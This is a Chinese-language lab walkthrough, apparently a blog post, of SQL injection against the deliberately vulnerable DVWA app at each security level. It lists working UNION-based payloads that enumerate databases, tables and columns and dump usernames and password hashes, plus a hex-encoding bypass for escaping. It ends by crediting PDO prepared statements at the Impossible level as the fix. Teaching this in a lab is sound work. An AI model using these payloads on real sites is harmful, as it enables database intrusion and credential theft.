Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)

目录

一、SQL注入

1、SQL注入漏洞原理

2、SQL注入类型

3、SQL注入过程

二、实验环境

三、实验步骤

安全级别:LOW

安全等级:Medium

安全级别:High

安全级别:Impossible


一、SQL注入

1、SQL注入漏洞原理

把SQL命令插入到Web表单提交、或输入域名、或页面提交的查询字符串中,从而达到欺骗服务器执行恶意的SQL命令。

2、SQL注入类型

  • 字符型
  • 数字型
  • 搜索型

3、SQL注入过程

  1. 判断是否存在注入,注入是字符型还是数字型;
  2. 猜解SQL查询语句中的字段数;
  3. 确定显示位置;
  4. 获取当前数据库;
  5. 获取数据库中的表;
  6. 获取表中的字段名;
  7. 下载数据

二、实验环境

1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite

2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第1张图片

三、实验步骤

安全级别:LOW

查看源码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第2张图片

由源码可以看出,LOW级别的SQL注入对参数id的内容进行任何检查和过滤,存在明显的SQL注入,并且是字符型注入。

使用场景

1、判断是否存在注入,注入是字符型还是数字型

输入1,查询成功,存在SQL注入

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第3张图片

输入 1’ and ‘1’=’1 或者 1’ or ‘1234’ = ‘1234,成功返回结果,证明该SQL注入为字符型。

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第4张图片

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第5张图片

2、猜解SQL查询语句中的字段数;

在输入框中输入 1’ order by 1 # 和 1’ order by 2 #  时都返回正常;对比源码,这条语句的意思是查询users表中user_id为1的数据并按第一(二)字段进行。

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第6张图片

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第7张图片

在输入框中输入1’ order by 3 # 时,返回错误(Unknown column '3' in 'order clause'),说明该表中的字段数为2,有两列数据

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第8张图片

3、确定字段的显示位置

当确定字段数后,接下来使用union select联合查询继续获取数据

1’ union select 1,2 #            //1在First name中显示,2在Surname中显示

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第9张图片

4、获取当前的数据库名

1' union select version(),database() #         //在1的位置显示数据库的版本,在2的位置显示数据库名

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第10张图片

5、获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #        //在2的位置显示数据库中的表

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第11张图片

6、获取指定表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #       //在2的位置显示users表中的字段名

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第12张图片

7、获取数据

1' union select user,password from users #      //在1的位置显示用户名,在2的位置显示加密的密码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第13张图片

使用SOMD5对密码进行解密

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第14张图片

安全等级:Medium

查看源码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第15张图片

观察源码可以看到mysql_real_escape_string函数对特殊字符\x00、\n、\r、\x1a、'、" 等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入;由下图可以看出用户只能选择数字1-5。

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第16张图片

使用场景

1、判断是否存在注入,注入是字符型还是数字型

借助Burp Suite工具对抓取的数据包进行修改(Post方式),实现SQL注入。

1 and 1=1   或者  1 or 1234 = 1234      //均成功出现结果,存在SQL注入,且为数字型

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第17张图片

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第18张图片

2、猜解SQL查询语句中的字段数

1 order by 2

通过尝试,判断字段数为2

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第19张图片

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第20张图片

3、确定显示位置

1 union select 1,2        //1显示在First name的位置,2显示在Surname的位置

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第21张图片

4、获取当前数据库名

1 union select 1,database()        //在2的位置显示数据库名dvwa

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第22张图片

5、获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第23张图片

6、获取指定表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

因为table_name='users' 中还有单引号,会进行转义,所以需要将 'users' 进行编码,然后进行查询。

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第24张图片

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第25张图片

7、获取数据

1 union select user,password from users    //获取用户名和加密的密码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第26张图片

可通过解密工具,得到明文密码(https://www.somd5.com/)

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第27张图片

安全级别:High

查看源码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第28张图片

High级别在SQL查询语句中添加了LIMIT 1,一次控制值输入一个结果;我们可以通过 # 将其注释掉。其余操作与Low安全级别的操作一致。

1’ or ‘1234’ = ‘1234 #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第29张图片

1’ order by 1 #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第30张图片

1' union select 1,2 #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第31张图片

1’ union select 1,database() #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第32张图片Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第33张图片

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第34张图片

1' union select user,password from users #

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第35张图片

安全级别:Impossible

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第36张图片

查看源码

Kali渗透测试之DVWA系列7——SQL Injection(SQL注入)_第37张图片

Impossible安全级别采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。

你可能感兴趣的:(Kali渗透测试)